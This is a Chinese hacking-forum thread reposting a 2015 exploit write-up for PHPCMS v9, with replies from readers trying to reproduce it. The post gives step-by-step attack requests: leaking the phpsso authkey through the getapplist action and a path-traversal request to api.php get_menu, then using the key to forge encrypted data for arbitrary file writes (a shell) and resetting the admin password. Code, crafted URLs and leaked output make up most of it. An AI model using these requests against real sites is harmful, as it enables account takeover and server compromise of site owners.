查看: 76046|回复: 80

PHPCMS最新版本authkey泄露可注射拿shell

[复制链接]
发表于 2015-4-12 07:51:22 | 显示全部楼层 |阅读模式
本帖最后由 凡火火。 于 2015-4-12 08:06 编辑

本文于2015年4月12日清晨转自乌云漏洞平台 截稿时乌云漏洞状态为细节向第三方安全合作伙伴开放

---我是火火可爱的分割线---

安装phpcms的时候会强制安装它的通行证。
phpcms/phpsso_server/phpcms/modules/phpsso/index.php里有一段很可怕的代码
  1. /**
  2.          * 获取应用列表
  3.          */
  4.         public function getapplist() {
  5.                 $applist = getcache('applist', 'admin');
  6.                 exit(serialize($applist));
  7.         }
复制代码

cache里是什么内容呢,我们自己去看一下文件:
  1. <?php
  2. return array (
  3.   1 =>
  4.   array (
  5.     'appid' => '1',
  6.     'type' => 'phpcms_v9',
  7.     'name' => 'phpcms v9',
  8.     'url' => 'http://localhost:8038/study/phpcms/',
  9.     'authkey' => 'L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr',
  10.     'ip' => '',
  11.     'apifilename' => 'api.php?op=phpsso',
  12.     'charset' => 'gbk',
  13.     'synlogin' => '1',
  14.   ),
  15. );
  16. ?>
复制代码

所以只要我们调用phpsso并且能走到这个方法里,就会突出sso配置的客户端的所有信息,包括authkey。
查看通行证代码发现,只要$_POST['data']可以解出来,就可以走下去。
  1. if(isset($_GET) && is_array($_GET) && count($_GET) > 0) {
  2.                         foreach($_GET as $k=>$v) {
  3.                                 if(!in_array($k, array('m','c','a'))) {
  4.                                         $_POST[$k] = $v;
  5.                                 }
  6.                         }
  7.                 }
复制代码

GET全付给POST
  1. if(isset($_POST['data'])) {
  2.                         parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
  3.                                        
  4.                         if(empty($this->data) || !is_array($this->data)) {
  5.                                 exit('0');
  6.                         }
  7.                 } else {
  8.                         exit('0');
  9.                 }
复制代码

ok,我们怎么拿到这个$_POST['data'],用户上传头像的页面里就有。

注册登录后访问

http://localhost:8038/study/phpcms/index.php?m=member&c=index&a=account_manage_avatar&t=1

查看源文件:
27110857596afb4d3cfd52bc288fe1dd5e779dc8.jpg
拿到这个:

  1. aHR0cDovL2xvY2FsaG9zdDo4MDM4L3N0dWR5L3BocGNtcy9waHBzc29fc2VydmVyL2luZGV4LnBocD9tPXBocHNzbyZjPWluZGV4JmE9dXBsb2FkYXZhdGFyJmF1dGhfZGF0YT12PTEmYXBwaWQ9MSZkYXRhPWU1YzJWQU1HVVFaUkFRa0lVUVFLVndGVUFnSUNWZ0FJQWxkVkJRRkREUVZjVjBNVVFHa0FReFZaWmxNRUdBOSUyQkRqWm9LMUFIUm1Vd0JHY09YVzVVRGdRaEpEeGFlUVZuR0FkeFZSY0tRQQ==
复制代码


解除base64_decode编码得

  1. http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=uploadavatar&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
复制代码



将url里的uploadavatar换成:getapplist得:

  1. http://localhost:8038/study/phpcms/phpsso_server/index.php?m=phpsso&c=index&a=getapplist&auth_data=v=1&appid=1&data=e5c2VAMGUQZRAQkIUQQKVwFUAgICVgAIAldVBQFDDQVcV0MUQGkAQxVZZlMEGA9%2BDjZoK1AHRmUwBGcOXW5UDgQhJDxaeQVnGAdxVRcKQA
复制代码


访问得:

  1. a:1:{i:1;a:9:{s:5:"appid";s:1:"1";s:4:"type";s:9:"phpcms_v9";s:4:"name";s:9:"phpcms v9";s:3:"url";s:35:"http://localhost:8038/study/phpcms/";s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr";s:2:"ip";s:0:"";s:11:"apifilename";s:17:"api.php?op=phpsso";s:7:"charset";s:3:"gbk";s:8:"synlogin";s:1:"1";}}
复制代码


和我们想的一样,authkey在里面:

  1. s:7:"authkey";s:32:"L7UXO1cpUV6QmkX0oeGAXiOdQy6Hmvkr"
复制代码


拿到这个key已经可以想做什么想什么了,sso体系里的东西都可以做了。



举个例子:



  1. /phpcms/phpsso_server/phpcms/modules/phpsso/index.php

  2. 内:

  3. public function uploadavatar()

  4. 写的



  5. $this->uid = $this->data['uid']; //uid来自解密出来的uid

  6. $this->avatardata = $this->data['avatardata']; //数据内容来自解密出来的数据内容



  7. ……



  8. $dir = $avatarfile.$dir1.'/'.$dir2.'/'.$this->uid.'/';



  9. //目录名里引用了来自解密内容的uid



  10. ……

  11. $filename = $dir.'180x180.jpg';

  12. //文件名又来自引用了解密uid内容的$dir变量

  13. $fp = fopen($filename, 'w');

  14. fwrite($fp, $this->avatardata);

  15. fclose($fp);
复制代码




文件写入了,反正是想做什么做什么。



可是……在厂商默默的忽略之后又偷偷的发了小补丁。。。
其中这个点
  1. public function getapplist() {
  2.                 $applist = getcache('applist', 'admin');
  3.                 exit(serialize($applist));
  4.         }
复制代码


修复为
  1. public function getapplist() {
  2.                 $applist = getcache('applist', 'admin');
  3.                 foreach($applist as $key=>$value){
  4.                         unset($applist[$key]['authkey']);
  5.                 }
  6.                 exit(serialize($applist));
复制代码

修复得很不仔细,看来厂商真的觉得这不是个洞。好啊,那么肯定就会有其它点了,既然不重视这个点,我们来看\api\get_menu.php:
  1. function ajax_getlist() {

  2.         $cachefile = $_GET['cachefile'];
  3.         $cachefile = str_replace(array('/', '//'), '', $cachefile);
  4.         //$cachefile = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $cachefile);
  5.         $path = $_GET['path'];
  6.         $path = str_replace(array('/', '//'), '', $path);
  7.         //$path = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $path);
  8.         $title = $_GET['title'];
  9.         $key = $_GET['key'];
  10.         $infos = getcache($cachefile,$path);
  11.         $where_id = intval($_GET['parentid']);
  12.         $parent_menu_name = ($where_id==0) ? '' : trim($infos[$where_id][$key]);
  13.         foreach($infos AS $k=>$v) {
  14.                 if($v['parentid'] == $where_id) {
  15.                         if ($v['parentid']) $parentid = $infos[$v['parentid']]['parentid'];
  16.                         $s[]=iconv(CHARSET,'utf-8',$v['catid'].','.trim($v[$key]).','.$v['parentid'].','.$parent_menu_name.','.$parentid);
  17.                 }
  18.         }
  19.         if(count($s)>0) {
  20.                 $jsonstr = json_encode($s);
  21.                 echo trim_script($_GET['callback']).'(',$jsonstr,')';
  22.                 exit;                       
  23.         } else {
  24.                 echo trim_script($_GET['callback']).'()';exit;                       
  25.         }
  26. }
复制代码

其中的getcache的两个参量是可控的。并且没有过滤反斜杠。构造合适的访问链接可以访问到cache文件夹中的配置文件,并读取内容。

那么如果这样的链接会督导什么内容呢?

  1. http://www.test.org/api.php?op=get_menu&act=ajax_getlist&callback=aaaaa&parentid=0&key=authkey&cachefile=..\..\..\phpsso_server\caches\caches_admin\caches_data\applist&path=admin
复制代码

27110857596afb4d3cfd52bc288fe1dd5e779dc8.jpg
继续往下看
在\phpsso_server\phpcms\modules\phpsso\index.php中含有如下函数:
  1. public function edit() {
  2.                 $this->email = isset($this->data['email']) ? $this->data['email'] : '';
  3.                 $this->uid = isset($this->data['uid']) ? $this->data['uid'] : '';

  4.                 $userinfo = $this->getuserinfo(1);
  5.                
  6.                 if (isset($this->data['password']) && !empty($this->data['password'])) {
  7.                         $this->password = create_password($this->data['password'], $userinfo['random']);
  8.                 }
  9.                
  10.                 $this->random = !empty($this->data['random']) ? $this->data['random'] : $userinfo['random'];
  11.                 if (isset($this->data['newpassword']) && !empty($this->data['newpassword'])) {
  12.                         $this->newpassword = create_password($this->data['newpassword'], $this->random);
  13.                 }

  14.                 if ($userinfo == -1) {
  15.                         exit('-1');
  16.                 }

  17.                 if (isset($this->password) && !empty($this->password) && $userinfo['password'] != $this->password) {
  18.                         exit('-2');
  19.                 }

  20.                 if ($this->email && $userinfo['email'] != $this->email) {
  21.                         if($this->checkemail(1) == -1) exit('-3');
  22.                 }       
  23.                
  24.                 $data = array();
  25.                 $data['appname'] = $this->applist[$this->appid]['name'];
  26.                
  27.                 if (!empty($this->email) && $userinfo['email'] != $this->email) {
  28.                         $data['email'] = $this->email;
  29.                 }

  30.                 if (isset($this->newpassword) && $userinfo['password'] != $this->newpassword) {
  31.                         $data['password'] = $this->newpassword;
  32.                         $data['random'] = $this->random;
  33.                 }

  34.                 if (!empty($data)) {
  35.                        
  36.                         //ucenter部份
  37.                         if ($this->config['ucuse']) {
  38.                                 pc_base::load_config('uc_config');
  39.                                 require_once PHPCMS_PATH.'api/uc_client/client.php';
  40.                                 $r = uc_user_edit($userinfo['username'], '', (isset($this->data['newpassword']) && !empty($this->data['newpassword']) ? $this->data['newpassword'] : ''), $data['email'],1);
  41.                                 if ($r != 1) {
  42.                                  //{-1:用户不存在;-2:旧密码错误;-3:email已经存在 ;1:成功;0:未作修改}
  43.                                         switch ($r) {
  44.                                                 case '-1':
  45.                                                         exit('-2');
  46.                                                 break;
  47.                                                 case '0':                               
  48.                                                 case '-4':                                               
  49.                                                 case '-5':                                               
  50.                                                 case '-6':
  51.                                                 case '-7':
  52.                                                 case '-8':
  53.                                                         exit('0');
  54.                                                 break;
  55.                                         }
  56.                                 }
  57.                         }
  58.                         if (empty($data['email'])) unset($data['email']);
  59.                
  60.                         /*插入消息队列*/
  61.                         $noticedata = $data;
  62.                         $noticedata['uid'] = $userinfo['uid'];
  63.                         messagequeue::add('member_edit', $noticedata);
  64.                         if($this->username) {
  65.                                 $res = $this->db->update($data, array('username'=>$this->username));
  66.                         } else {
  67.                                 $res = $this->db->update($data, array('uid'=>$this->uid));
  68.                         }
  69.                         exit("$res");
  70.                 } else {
  71.                         exit('0');
  72.                 }
  73.         }
复制代码

里面有数据库的操作,应该是用于密码更改的。我们来构造一个data数据,加密前:
uid=1&newpassword=admin123456
利用上面的authkey以及cms自带的加解密函数即可进行加密。在这里,我们除了可以修改密码,还可以进行注入.
我只是大自然的搬运工。

回复

使用道具 举报

发表于 2015-4-12 10:56:09 | 显示全部楼层
昨天晚上捧着手机在床上看了半天,现在再来重新看一遍、
回复 支持 反对

使用道具 举报

发表于 2015-4-13 08:56:17 | 显示全部楼层
学习了!
回复 支持 反对

使用道具 举报

发表于 2015-4-13 16:18:15 | 显示全部楼层
楼主,能做一个教程么?看不懂
回复 支持 反对

使用道具 举报

发表于 2015-4-13 23:04:51 | 显示全部楼层
直接来个怎么利用多啊好。一直没怎么看懂
回复 支持 反对

使用道具 举报

发表于 2015-4-20 20:01:31 | 显示全部楼层
为什么按照你的操作进行 返回零呢 ,搞不明白了
回复 支持 反对

使用道具 举报

发表于 2015-4-20 21:04:44 | 显示全部楼层
我这样说正确的吗 sys_auth('uid=1&newpassword=admin123456','ENCODE','BnT5xx7Sxgma8B9hvHC6RTUkPOdbFRHO')  加密后  然后 访问 /index.php?m=phpsso&c=index&a=edit&data=加密字符串 ?   不成功 肯定哪里出了问题 能不能不吝指教下   
回复 支持 反对

使用道具 举报

发表于 2015-6-28 00:44:54 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-29 18:29:37 | 显示全部楼层
支持中国红客联盟(ihonker.org)
回复 支持 反对

使用道具 举报

发表于 2015-6-30 23:38:00 | 显示全部楼层
学习学习技术,加油!
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 23:35 , Processed in 0.387450 second(s), 20 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部